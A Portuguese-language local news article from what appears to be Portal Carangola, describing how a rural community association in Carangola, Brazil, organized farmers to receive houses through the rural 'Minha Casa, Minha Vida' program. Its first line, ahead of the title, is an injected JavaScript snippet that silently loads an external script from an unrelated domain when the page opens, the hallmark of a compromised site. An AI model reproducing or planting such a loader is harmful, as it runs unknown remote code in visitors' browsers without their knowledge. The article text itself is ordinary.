;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Minha Casa, Minha Vida chega finalmente à zona rural de Carangola! - Portal Carangola

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Minha Casa, Minha Vida chega finalmente à zona rural de Carangola!

14 agricultores da comunidade rural de Conceição no município de Carangola acabaram de assinar em fevereiro o contrato do Programa Nacional de Habitação Rural mais conhecido como “Minha Casa, Minha Vida Rural” que diferente do  programa urbano a moradia não é financiada, mas sim doada pelo governo federal com uma contrapartida de R$1.000,00 divididos em 4 parcelas de R$250,00 por ano! O governo libera R$25.000,00 para cada casa, sendo R$20.000,00 para material e R$5.000,00 para ajudar na mão de obra. A previsão é de terminar tudo em quatro meses.

Em fevereiro de 2011 o agricultor Manoel Batista Rabelo havia ido à Caixa Econômica para ver se havia jeito de fazer um financiamento para construir uma casa no terreno que recebeu do pai. O gerente geral, na época o Sr. Nelson Siqueira,  lhe falou de um Programa Nacional de Habitação Rural, ou seja, o „Minha Casa, Minha Vida“ versão rural que significava uma ajuda de fundo perdido do governo no valor de 15 mil reais e que 40 casas já estavam sendo construídas no Divino e 17 em Orizania, 10 em Pedra Dourada e nem uma em Carangola! O curioso é que estas cidadezinhas por não ter filial da Caixa Econômica toda a papelada corre em Carangola. Sr. Nelson mal podia esperar para que Carangola pudesse finalmente usufruir deste programa fabuloso. Em setembro de 2011 o valor foi aumentado para 25 mil reais de acordo com uma nova portaria.

O gerente disse ainda que a entidade organizadora podia ser sindicatos, associações, cooperativas ou prefeituras. Os grupos poderiam ter no mínimo 3 e no máximo 50 casas por vez. Sendo Manoel associado do Centro Comunitário Rural de Conceição (CCRC) ele pensou na possibilidade desta  associação ser uma Entidade Organizadora (EO). Ele conversou com Julenia Maria Lopes da Silva que como ele, faz parte da diretoria da associação que imediatamente se interessou pela causa e foi procurar mais informações com a Superintendência da Caixa em Juiz de Fora. Esta disse que se a associação está em dia com seus papéis, poderia apenas alterar o estatuto acrescentando „promoção à habitação“ como objetivo específico que esta estaria então apta a funcionar como EO. Foi feita uma Assembleia Extraordinária, o estatuto foi alterado e a seguir averbado.

Basicamente são três partes envolvidas: uma Entidade Organizadora (EO), um engenheiro para a parte técnica e um assistente social. Todos três trabalham em conjunto. O gerente disse que o engenheiro Pedro de Oliveira de Espera Feliz e o assistente social Degmar Teixeira de Orizania haviam feito os projetos de Divino e Orizania. “Logo Julenia os procurou, pois como „marinheiro de primeira viagem” queria ter a assistência deles, já que a burocracia é extrema. Começou ainda em maio a divulgar em Conceição para ver se conseguia um grupo de pelo menos 10 pessoas. “Aos poucos foram „pingando”, pois muitos não acreditavam no programa. Toda quarta-feira de manhã saía Julenia com a sua fotocopiadora para a sede do CCRC e dava uma plantão das 7 às 9 da manhã. Quando chegou a ter 10 interessados, ligou para o engenheiro. Era uma quarta-feira e ele marcou para sábado ir à Conceição e tirar os pontos do GPS do lugar das casas e da água. Era para Julenia avisar as pessoas para estarem em casa naquele dia. A noticia correu e no sábado à medida que andavam por Conceição pessoas que não haviam se cadastrado os paravam na estrada e diziam: „Queremos uma casa também! Será que temos chance? Julenia “ficou sem ação, olhou para Pedro e ele disse, „Julenia, vamos tirar o GPS de todos e depois se ajeita a papelada.” E assim foi feito, foram 27 candidatos marcados naquele dia! Julenia nunca vai se esquecer da primeira visita, depois de marcar o GPS quando duas crianças se abraçaram felizes e uma falou para a outra:“Viu? Vamos poder brincar na sua casa sem os brinquedos cair nos buracos!“ A família em questão mora numa tulha!

Dos 27, 14 tinham a papelada em dia e foi dada entrada em inicio de agosto na Caixa. Os 13 restantes ficaram de correr atrás dos papéis e entrarem no segundo grupo. Que felicidade ver a cara dos agricultores ao saber que vão ganhar uma casa novinha! Em novembro já foi dada entrada no grupo 2 que tem 30 beneficiários. O cadastramento do grupo 3 já está sendo feito! O certo é aproveitar o máximo este programa maravilhoso que dá ao agricultor o direito de uma moradia decente.

Participaram da celebração representando o poder público, a Secretária de Agricultura, Regina Aparecida de Castro e Aninha do Gabinete representando o Sr. Prefeito que estava viajando. Elas confirmaram o apoio do governo municipal a este projeto e os agricultores aguardam a ajuda prometida em relação à terraplanagem para iniciar as obras. Até o momento faltam cinco praças para serem feitas, o Presidente da Câmara, Carlos Benedito tem dado o máximo de si para conseguir as máquinas. Dos que já começaram as obras há agricultores que estão trabalhando doze horas por dia como ajudantes dos pedreiros, mal podendo esperar para ter a sonhada casa prontinha!!

(Julenia Maria Lopes da Silva, julenialopes@yahoo.com)


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